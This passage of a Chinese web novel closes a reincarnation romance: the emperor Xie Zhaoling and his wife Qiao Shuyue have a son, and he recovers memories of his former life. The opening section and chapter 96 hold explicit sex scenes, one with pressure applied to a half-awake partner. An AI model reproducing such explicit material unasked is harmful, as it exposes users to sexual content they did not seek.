男人眸光一深,终是继续前行。 …… 那条弯曲小路终是让他开辟出一片坦途,进出顺畅,再无阻隔。 心底的不满越来越多,有那么一瞬,竟盼望着他能凶一些,令她神志皆散才好。 他今日的新“兵刃”虽不如以往的粗大有力,但胜在灵活多变,能时刻随着她的需求与指令变换方向与力度。 虽然那“指令”并不是她亲口说的,而是谢昭凌察言观色,领悟出来的。 她不承认,他便当她是在害羞。 屋中声息停歇时,已经不再是白日。 榻上没了寻常那股浓烈的咸腥味,反而是淡淡的清香。 真如花开了一般,令人沉醉。 谢昭凌拉过女子的手,将混了茉莉香的外伤药膏轻轻涂抹在她的手指上。 他望着一处抓痕,无奈道:“挠我便是,何必对自己用力?” 被子下头,盖着一张羞愤难当、生无可恋的脸。 无人应答,他撩起被子,唤道:“娘子……” 话才起头,便对上一双水润通红的杏眸。 “说得真是好听,我哪抓得到你?” 谢昭凌:“……” 他咳了声,“我那不是在做正事。” “那算什么正事?!” 她嗓音中的哭腔犹在,说起话来,直叫人骨头酥麻。 “开疆拓土。”他一本正经道,“不正是一国之君该做的事吗?” 乔姝月:“……” 脸色鲜红如血,抬手抄起枕头,狠狠朝对方砸去。 “不让说话不让碰,我如何能制止你?” 谢昭凌单手接住,倾身将人搂紧怀中,手拍着后背。 嗓音带笑,低声地哄:“那下回,娘子坐在书案上,我蹲在下头,叫你一脚就能踢到我,如何?” 乔姝月:“……” ** 一觉醒来,已是转日天明。 乔姝月一睁开眼,便见原本应当去上朝处理朝务的男人在她身侧。 他还穿着常服,半靠在床头,手里拿了一本书,正心不在焉地看着。 听到动静,倏地转头望来。 眉眼间霎时间带上好看的笑意,俯身过去,将人抱进怀里。 手掌在她肩侧轻轻地拍,嗓音含笑,同她道:“娘子,早安。” “……早安,夫君。” 正如他所说的那般,仿若一对平凡的夫妻。 “怎么没去上朝?” 困意浓浓,乔姝月迷迷糊糊地问道。 谢昭凌理直气壮道:“娘子有了身孕,我难道不能休假一日吗?” 乔姝月:“……” 她疑惑:“我有身孕,你休沐?” 男人约莫是吃饱,一扫前几日的阴霾,眉梢眼角皆闪耀着光一般。 神采奕奕道:“实在无心朝政,只好要美人不要江山了。” 感受到人又缠上来,箍紧了她的双臂,乔姝月无奈地哀叹了声。 一个满脑子都是小情小爱的帝王。 这个国家,只怕又要亡了。 第95章 【95】 整个孕期,谢昭凌都没有离开皇城、离开乔姝月一步。 其间西北边境又有骚动,按照前世的轨迹,谢昭凌会御驾亲征。然而自从他“梦见”他们前世的结局以后,他不敢再做出和从前一样的选择。 万一他离开时再出点什么事,实在是鞭长莫及,于是这次镇压派了褚玄英与霍方林出去。 他自己安安心心守在乔姝月的身边,每日都小心翼翼地陪伴着。 十月怀胎,一朝分娩。 乔姝月整个孕期都被照料得极好,莫说是生病,就连不适都极少有。 生产过程亦是十分顺畅,一个时辰左右,便诞下了她与谢昭凌的第一个孩子。 是个男孩。 于是谢昭凌只瞟了一眼,便扔给乳母,自己跑到榻前,抓着爱人的手,嘘寒问暖了好半天。 乔姝月精神尚好,敷衍了一会,便急声唤乳母抱来孩子,捧在怀里,爱不释手。 谢昭凌没和她说上两句话,便被赶到了一边去,看着乔姝月对着儿子满眼爱意,慢慢冷笑了声。 就连后来乔誉来找他商议要事,他转身出去,再回来,乔姝月都没察觉到他曾离开过。 谢昭凌:“……” 自此地位摇摇欲坠,不再是她心里最重要的人。 谢昭凌记事以来,除去养父母为了索取而善待过他外,几乎所有的温暖都是乔姝月给他的。 他的野心,他的抱负,他的期许,全都是因为有了乔姝月,才有了那些。 为了她,他什么都愿意做。 哪怕吃前世的自己的醋,吃孩子的醋,他也会很好地隐藏起来。 只要是她在意的,他就都会学着接纳。 儿子快满周岁时,有了自己的名字。是乔姝月取的,名唤谢琅。 阿琅周岁宴过后,被乳母抱回房间。乔姝月扶着醉酒的谢昭凌,慢慢走回承华殿。 自生了孩子以后,他们又搬回了这里。 因为有了与前世截然不同的全新的人生,所以乔姝月彻底放下了心结。 谢昭凌虽只通过梦境,有了前世部分的记忆,但他却担忧乔姝月会感到不适。 毕竟死去的那个场景,至今都是他的噩梦。 住了近一年时间,乔姝月的状态都很好,谢昭凌这才放下心来。 然而这一晚,有心结的成了他。 谢昭凌又梦到了前世。 这一次与从前每一次似乎都不同,他不再是旁观的视角,而是…… 他就是那个人。 短暂的梦境,又经历了一遍漫长的一生。 他梦到了乔姝月死后的时光。 将爱人亲手埋葬以后,他成了一个真正的孤家寡人。 他坚持了七年时间,终究没撑下去。 解脱的那一瞬,他彻底没有遗憾了。 临死前,已经准备好了在底下见到她后,该说些什么—— “国家的一切已经步入正轨,孤将江山交到了裴氏一族的手中,裴氏幼子你识得的,从前你夸过那孩子聪慧,自你走后,我便将那孩子接到了身边培养。七年时间,他合格了。” “虽说这江山是孤辛苦打来的,但……阿月,没有你,这世间了无生趣。一个人坐在那高高的王座上,好冷。” “夜里总是惊醒,醒来时,发现匕首不知何时到了自己的手中。阿月,孤很害怕,怕一切准备还未做好时,就这么随你而去了。” “幸好,孤撑到了功成身退的这一天。” “黑夜实在太过漫长,比没有遇到你时的那些个夜晚都要长上百倍。” “你要骂便骂吧,只要能与你重逢,挨骂孤也愿意。” 可惜他没有如愿地与她重逢,更没能听到她的抱怨。 他没了记忆。 一睁眼,是在逃出梧县的菜车里。 瓢泼大雨急急落下,编织成一片细密的雨帘,世间白茫茫一片。 少年目光茫然一瞬,透过菜筐竹条的缝隙向外看,与嘴里叫骂着抓他的人擦肩而过。 少年垂眸看向剧痛的腿,麻木的瞳中忽然流露出丝丝笑意。 此时此刻,无声无息地,命运的齿轮悄悄错位。 心里忽然有个声音—— 到京城去。 机遇在那里。 …… …… 谢昭凌睁开了眼睛,手臂搭在额头上。 原来那真的是他自己。 从始至终,都是他一个人。 【全文完结】 第96章 【96】 才过三更,乔姝月刚刚睡下没多久。 身后忽然贴上来一具滚燙的身躯。 自诞下长子后,他们一直保持着隔日一次的频率。 倒不是他不想,实在是被前世她的病体给吓怕了,关于她的一切,谢昭凌都老老实实地遵照医嘱。 太医建议不宜过密,他便十分顺从地克制自己。 昨日明明才刚折腾过一回,按照惯例,该是明日才对,怎么今日…… 脑子里混沌一片,乔姝月背对着他,双目半眯,半晌,迷迷糊糊地嘟囔了声,“弄得太里面了。” 身后人僵停了一瞬,而后便愈发用力。 一阵密密麻麻的忄夬意直冲头顶,乔姝月茫然睁眸,“阿凌?” 她慢慢回头,一下撞进一双深不见底的黑眸中。 里头翻滚着她看不懂的情忄素叫她情不自禁为之瑟,缩,颤,抖。 他一边弄,一边哑声问到:“怎么,深一些不喜欢吗?” 哪怕她人还未完全清醒,也知道这个问题不能回答。 她咬紧牙关,仍有细碎的低,吟溢出来。 谢昭凌忽然起身,跪在她上方,将两条纤细白皙的小腿高抬。 双掌扣于腰,侧,轻轻一握,就将她往前拽了拽。 两人挨得更近,比方才还深。 他的目光如有实质,如同烈火的舌,顷刻间舔过她的面颊。 幽深的眸中似有万千复杂情绪,层层叠叠,浓烈压抑得人喘不过气来。 “阿凌,你怎么了?” 乔姝月的尾音高高扬起,又转着调子打了几个波折地落了下去。 堅硬的兵刃在她的体内开疆拓土,理智被抛于高空,又狠狠摔下。 乔姝月眸中漫上一层水雾,被生理反应刺激得呜咽了声,又无措地唤了一声:“阿凌哥哥,很撑——” “退,退出去一点可好?” 生了孩子以后,她鲜少会带上“哥哥”二字,那样显得她这个一国之母不够稳重成熟。 可这两个字她打小叫惯了的,在每一个没安全感的瞬间,她都会下意识地这么唤他。 “唤陛下。” 他低声恳求。 乔姝月猛地一激灵,迷亂的神志骤然变得清醒。 她错愕地睁圆了眼睛,“阿凌?” 自从坦白了前世今生以后,他没少拿称呼这事当借口,借着醋意为自己谋取好处,从她这儿占去便宜。 他素来很介意“陛下”这二字的,怎么今日反而主动要求起来? “娘子从前叫得那么顺,怎的今夜又不愿了?嗯?” “嗯唔——” 她迟疑一下,他的下一次就更加奋力。 腰身窄而劲瘦,随着骨骼向上推送,背脊的肌肉线条愈发分明。 他的精神与身体一样紧綳,每一次冲击都格外利落果决,毫不留情。 从头到尾,都透着股慾气与张力。 她一时犹豫,他就惩戒她一时。一阵不开口,他就持续地掠取。 一次更比一次深入刻骨,乔姝月只觉得自己就要被撕成两半。 “唤孤陛下。”他再一次说道。 这次语气强硬了不少。 口吻像极了一个独揽大权多年的帝王。 乔姝月一阵恍惚,眼前瞬间浮现出一个比面前这张更加成熟的脸。 两张面孔重合在一起,乔姝月终于意识到,他全都想起来了! 男人眼尾微红,似哭似笑,低着声音,带着股再熟悉不过的温柔: “阿月,好久不见,孤好想你。” 顷刻间,乔姝月的泪水夺眶而出。 “你,你也……” “是啊,我原来也和你一样。” 只不过他没有记忆,到此刻才想起来曾经的种种。 他不再靠着梦里那些支离破碎的片段去揣测他们的曾经。 他真真切切拥有了那些回忆,一点一滴,毫无遗漏地知晓了。 与她经历了那一世遗憾的,是他自己。 他嫉妒的,也一直都是他自己。 灵体合一,他们都拥有了完整的自己。 在极大的情绪波动下,这一夜格外漫长。 不知疲倦。 爱意热浓。 梦醒之时,身体残余的愉悦仍在。 一切都是真实的。 天光破晓,男人低下头,额头抵着她的,语气里是两世都未有过的庆幸。 “孤好幸运。”他说,“只愿这样的幸福,生生世世延续下去才好。” 乔姝月困得睁不开眼,玉臂无力地攀附着他的肩膀,整个人没骨头似得窝在他的怀里。 听了此话,她噗嗤一笑,艰难地掀开半张眼皮,问:“陛下是说,我们来世还要在一起?” “嗯,来世我还要做你的阿凌哥哥。” 这一回,他想要从更小的时候,就陪她一起长大。 乔姝月被倦意席卷,懒洋洋地应和了一声,睡意浓浓地嘟囔了声:“那就许愿,我们都能投一个好胎。” 这算是做下了生生世世的约定吗? 谢昭凌双目发亮,笑着将她揽紧,心里默念着—— 天上的神仙啊,你都听到了吧。 我愿吃尽天下苦,唯愿与她世世相逢。 全文完